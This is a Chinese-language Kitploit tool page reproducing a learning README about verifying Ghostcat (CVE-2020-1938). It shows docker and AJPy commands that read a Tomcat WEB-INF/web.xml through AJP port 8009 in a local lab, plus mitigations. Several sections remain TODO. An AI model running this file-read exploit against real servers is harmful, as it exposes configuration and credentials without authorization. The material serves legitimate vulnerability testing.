Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ghostcat-verification — 关于如何验证是否易受 Ghostcat(又称 CVE-2020-1938)攻击的学习心得 | Kitploit
工具/GitHubGitHub/shaunmclernon/ghostcat-verification
漏洞分析漏洞利用Web安全学习与教育实验室与实践
GitHubshaunmclernon/ghostcat-verification

ghostcat-verification

关于如何验证是否易受 Ghostcat(又称 CVE-2020-1938)攻击的学习心得

查看仓库
116年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Ghostcat 验证 (CVE-2020-1938)

概述

发现了一个名为 Ghostcat 的新漏洞 CVE-2020-1938,请参阅 snyk 和 tenable 上的文章以了解该漏洞的详细信息和分析。

在我的案例中,我想验证哪些 Tomcat 服务器可以被利用,如果可以,它如何表现。因此这个实验是检查 Tomcat 7、8 和 9。

先决条件

  • docker
  • python
  • git

在 Tomcat 7 上使用 CVE-2020-1938 读取文件

TODO: 如何验证 Tomcat 7 是否存在漏洞?

在 Tomcat 8 上使用 CVE-2020-1938 读取文件

我没有在真实服务器上测试漏洞,而是使用现有的 Tomcat 构建来执行我的实验,使用 AJPy 来构造 AJP 请求以便与 AJP 连接器通信。

root@kitploit:~
git clone --recurse-submodules [email protected]:shaunmclernon/ghostcat-verification.git
cd ghostcat-verification/AJPy
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat

如果返回了 web.xml,那么这个版本的 Tomcat 容易受到该漏洞的影响。

如果我们使用最新版本的 Tomcat 8.5 尝试相同的测试,可以看到它不容易受到此特定错误的影响。

root@kitploit:~
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat

在这种情况下,我们应该会得到一个 Python 错误,这实际上意味着服务器没有漏洞;

root@kitploit:~
Traceback (most recent call last):
  File "tomcat.py", line 377, in <module>
    hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)
    ...
    ...
struct.error: unpack requires a buffer of 5 bytes

在 Tomcat 9 上使用 CVE-2020-1938 读取文件

TODO: 如何验证 Tomcat 9 是否存在漏洞?

Springboot

TODO: 如何验证一个 Springboot 服务是否存在漏洞?

缓解措施

显然,如果存在漏洞(无论版本如何),您应考虑升级到已修补的版本。另一种选择是阻止对 AJP 端口的访问。

启动相同的 Tomcat 版本,但不暴露 AJP 端口 8009。

root@kitploit:~
docker run --name tomcat --rm -d -p 8080:8080 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat

在这种情况下,我们可以看到它将无法利用该服务器。

免责声明

我不是安全专业人士,此仓库是为我的学习目的而构建,不打算用于恶意目的。

下载工具